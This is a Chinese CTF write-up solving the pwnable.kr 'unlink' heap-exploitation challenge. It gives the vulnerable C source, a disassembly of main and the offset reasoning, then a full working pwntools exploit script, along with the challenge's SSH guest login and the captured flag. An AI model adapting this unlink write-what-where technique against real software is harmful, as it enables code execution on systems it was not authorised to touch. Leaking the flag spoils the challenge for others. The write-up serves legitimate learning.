unlink源代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

首先要先知道为什么unlink会触发漏洞发生,主要是在

BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;

我们将想要写入的信息和地址分别填充在BK和FD中,第三行和第四行进行赋值,就可以把信息写入相应的地址,信息和地址可以互换,只要计算好相应的偏移地址即可。之前一直不理解我把BK和FD赋值后,那FD->bk和BK->fd不就指向无效地址了吗,不会报错吗?
这里对结构的汇编形式理解不到位,堆都是定义的结构:

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

结构体是分配了一段连续的内存,所以寻找结构体成员只需要结构体首地址+相应的偏移地址,回到之前,FD->bk,实际上FD这个结构体首地址加上12偏移(32位机器下),而BK ->fd则为BK的地址加上8。(glibc malloc进行unlink操作时会将FD强制看作malloc_chunk结构体)。
反汇编的main函数:

Dump of assembler code for function main:
   0x0804852f <+0>:	lea    ecx,[esp+0x4]
   0x08048533 <+4>:	and    esp,0xfffffff0
   0x08048536 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048539 <+10>:	push   ebp
   0x0804853a <+11>:	mov    ebp,esp
   0x0804853c <+13>:	push   ecx
   0x0804853d <+14>:	sub    esp,0x14
   0x08048540 <+17>:	sub    esp,0xc
   0x08048543 <+20>:	push   0x400
   0x08048548 <+25>:	call   0x80483a0 <malloc@plt>
   0x0804854d <+30>:	add    esp,0x10
   0x08048550 <+33>:	sub    esp,0xc
   0x08048553 <+36>:	push   0x10
   0x08048555 <+38>:	call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:	add    esp,0x10
   0x0804855d <+46>:	mov    DWORD PTR [ebp-0x14],eax
   0x08048560 <+49>:	sub    esp,0xc
   0x08048563 <+52>:	push   0x10
   0x08048565 <+54>:	call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:	add    esp,0x10
   0x0804856d <+62>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048570 <+65>:	sub    esp,0xc
   0x08048573 <+68>:	push   0x10
   0x08048575 <+70>:	call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:	add    esp,0x10
   0x0804857d <+78>:	mov    DWORD PTR [ebp-0x10],eax
   0x08048580 <+81>:	mov    eax,DWORD PTR [ebp-0x14]
   0x08048583 <+84>:	mov    edx,DWORD PTR [ebp-0xc]
   0x08048586 <+87>:	mov    DWORD PTR [eax],edx
   0x08048588 <+89>:	mov    edx,DWORD PTR [ebp-0x14]
   0x0804858b <+92>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0804858e <+95>:	mov    DWORD PTR [eax+0x4],edx
   0x08048591 <+98>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048594 <+101>:	mov    edx,DWORD PTR [ebp-0x10]
   0x08048597 <+104>:	mov    DWORD PTR [eax],edx
   0x08048599 <+106>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804859c <+109>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0804859f <+112>:	mov    DWORD PTR [eax+0x4],edx
   0x080485a2 <+115>:	sub    esp,0x8
   0x080485a5 <+118>:	lea    eax,[ebp-0x14]
   0x080485a8 <+121>:	push   eax
   0x080485a9 <+122>:	push   0x8048698
   0x080485ae <+127>:	call   0x8048380 <printf@plt>
   0x080485b3 <+132>:	add    esp,0x10
   0x080485b6 <+135>:	mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:	sub    esp,0x8
   0x080485bc <+141>:	push   eax
   0x080485bd <+142>:	push   0x80486b8
   0x080485c2 <+147>:	call   0x8048380 <printf@plt>
   0x080485c7 <+152>:	add    esp,0x10
   0x080485ca <+155>:	sub    esp,0xc
   0x080485cd <+158>:	push   0x80486d8
   0x080485d2 <+163>:	call   0x80483b0 <puts@plt>
   0x080485d7 <+168>:	add    esp,0x10
   0x080485da <+171>:	mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:	add    eax,0x8
   0x080485e0 <+177>:	sub    esp,0xc
   0x080485e3 <+180>:	push   eax
   0x080485e4 <+181>:	call   0x8048390 <gets@plt>
   0x080485e9 <+186>:	add    esp,0x10
   0x080485ec <+189>:	sub    esp,0xc
   0x080485ef <+192>:	push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:	call   0x8048504 <unlink>
   0x080485f7 <+200>:	add    esp,0x10
   0x080485fa <+203>:	mov    eax,0x0
   0x080485ff <+208>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:	leave  
   0x08048603 <+212>:	lea    esp,[ecx-0x4]
   0x08048606 <+215>:	ret    
End of assembler dump.

攻击点:给A堆赋值时使用了gets函数,存在溢出B堆的可能,并在gets函数后调用了unlinkB堆,存在unlink漏洞。
在unlinkB堆后,

   0x080485f2 <+195>:	call   0x8048504 <unlink>
 	   0x080485f7 <+200>:	add    esp,0x10
   0x080485fa <+203>:	mov    eax,0x0
   0x080485ff <+208>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:	leave  
   0x08048603 <+212>:	lea    esp,[ecx-0x4]
   0x08048606 <+215>:	ret  

leave相当于mov esp ebp;pop ebp,此时esp指向的是eip,最后ret弹出的是esp的所指向的地址,我们需要做的是让esp指向shellcode的位置。而esp指向的地址是由[ecx-0x4]赋值,并且ecx保存在[ebp-0x4],为什么是这样,可以看main函数开头的堆栈情况:

0x0804852f <+0>:	lea    0x4(%esp),%ecx
   	0x08048533 <+4>:	and    $0xfffffff0,%esp
   	0x08048536 <+7>:	pushl  -0x4(%ecx)
   	0x08048539 <+10>:	push   %ebp
   	0x0804853a <+11>:	mov    %esp,%ebp
   	0x0804853c <+13>:	push   %ecx

分析main的汇编代码我们知道堆A,B,C在栈中的情况:

  • A:[ebp-0x14]
  • B:[ebp-0x0c]
  • C:[ebp-0x10]

所以A堆和ecx在栈中的位置相差0x14-0x4=0x10=16
shellcode的位置放在A中buf的前四个字节,所以它相对于A堆的位置为8,所以shellcode=A堆位置+8,但给esp赋值的是[ecx-0x4],所以shellcode=[ecx-0x4],从而推出:

A的栈位置+16=[ebp-0x4]=ecx=shellcode+0x4=(A堆位置+8)+4=A堆位置+12

附上unlink.py:

from pwn import *
#context(log_level="debug")
s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")

p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recv(10),16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recv(9),16)

p.recvuntil("now that you have leaks, get shell!\n")

shell_buf = 0x080484eb
buf = 'AAAA'
presizeB = 'AAAA'
sizeB = 'AAAA'
#方法一
fdB = heap_addr + 12
bkB = stack_addr + 16
'''
#方法二
或者交换位置,但要重新计算偏移值
bkB = heap_addr + 12
fdB = stack_addr + 12
'''
payload = p32(shell_buf) + buf + presizeB + sizeB + p32(fdB) + p32(bkB)

p.sendline(payload)

p.interactive()

char buf[8]是8个字节,struct tagOBJ* fd;struct tagOBJ* bk;各四个字节。

  • 方法一主要是利用BK->fd=FD;前面的FD->bk=BK;没有影响,因为这里的chunk是自己定义的,缺少prev_size和size字段,fd就是第一个字段,实际中bkB=stack_addr + 8,要减去pre_size和size两个字段的8个字节。
  • 方法二则是利用FD->bk=BK;分析同方法一

flag:conditional_write_what_where_from_unl1nk_explo1t